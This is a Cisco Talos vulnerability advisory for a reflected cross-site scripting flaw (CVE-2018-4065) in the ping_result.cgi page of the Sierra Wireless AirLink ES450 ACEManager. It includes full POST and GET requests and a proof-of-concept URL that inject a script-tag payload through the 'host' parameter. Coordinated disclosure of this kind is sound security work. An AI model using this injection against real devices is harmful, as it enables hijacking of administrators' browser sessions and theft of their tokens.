Sierra Wireless AirLink ES450 ACEManager ping_result.cgi Cross Site Scripting

`Talos Vulnerability Report  
  
TALOS-2018-0750  
  
Sierra Wireless AirLink ES450 ACEManager ping_result.cgi Cross-Site Scripting Vulnerability  
April 25, 2019  
  
CVE Number  
CVE-2018-4065  
  
Summary  
  
An exploitable cross-site scripting vulnerability exists in the ACEManager ping_result.cgi functionality of Sierra Wireless AirLink ES450 FW 4.9.3. A specially crafted HTTP ping request can cause reflected javascript code execution, resulting in the execution of javascript code running on the victim's browser. An attacker can get a victim to click a link, or embedded URL, that redirects to the reflected cross-site scripting vulnerability to trigger this vulnerability.  
Tested Versions  
  
Sierra Wireless AirLink ES450 FW 4.9.3  
  
Product URLs  
  
https://www.sierrawireless.com/products-and-solutions/routers-gateways/es450/  
CVSSv3 Score  
  
6.1 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N  
CWE  
  
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')  
Details  
  
Sierra Wireless is a wireless communications equipement designer and manufacturer. They provide both embedded solutions as well as wireless hardware solutions, including both the ES450 and GX450 devices. The AirLink ES450 is a LTE gateway designed for distributed enterprise. The ES450 is typically seen connecting Point-of-sale devices, remote SCADA equipment, or other business critical equipment. The AirLink ES450 also provides a terminal server for remote out-of-band administration.  
  
ACEManager is the web server included with the AirLink ES450. This web server is responsible for the majority of interactions in the device. Some specific capabilities of the web server are routing, device reconfiguration, user authentication and certificate management. The vendor has stated that the ACEManager web application is not accessible by default from the Cellular WAN.  
  
The ping_result.cgi binary does not properly filter input before reflecting it back to the client. This improper filtering allows javascript to be injected into the response to the client. This can be used to run code on the client's browser, such as making requests on behalf of the user, or disclosing confidential tokens.  
POST Request  
  
POST /admin/tools/ping_result.cgi HTTP/1.1  
Host: 192.168.13.31:9191  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.13.31:9191/admin/tools/ping.html  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 61  
Cookie: token=5a412d6dbc3618b3e4ffd7219460f942  
Connection: close  
  
host=192.168.13.31<script>alert('xss')</script>  
  
GET Request  
  
GET /admin/tools/ping_result.cgi?host=1.1.1.1%27%3Cscript%3Ealert(%27xss%27)%3C/script%3E HTTP/1.1  
Host: 192.168.13.31:9191  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: token=5a412d6dbc3618b3e4ffd7219460f942  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
This vulnerability was discovered and tested using the AirLink ES450. Most likely this vulnerability also affects the AirLink GX450 product as well.  
  
Exploit Proof of Concept  
  
After authenticating to ACEManager navigate to http://192.168.13.31:9191/admin/tools/ping_result.cgi?host=1.1.1.1%27%3Cscript%3Ealert(%27xss%27)%3C/script%3E to show the alert caused by cross-site scripting.  
  
Timeline  
  
2018-12-14 - Vendor disclosure  
2018-12-17 - Vendor acknowledged  
2019-01-08 - Discussion to review vendor's analysis of issues  
2019-03-26 - Vendor established timelines for fix/public disclosure  
2019-04-20 - Talos provided revised CVSS score on TALOS-2018-0746, TALOS-2018-0751, TALOS-2018-0752, TALOS-2018-0755, and TALOS-2018-0756  
2019-04-25 - Public Release  
  
Credit  
  
Discovered by Carl Hurd of Cisco Talos.  
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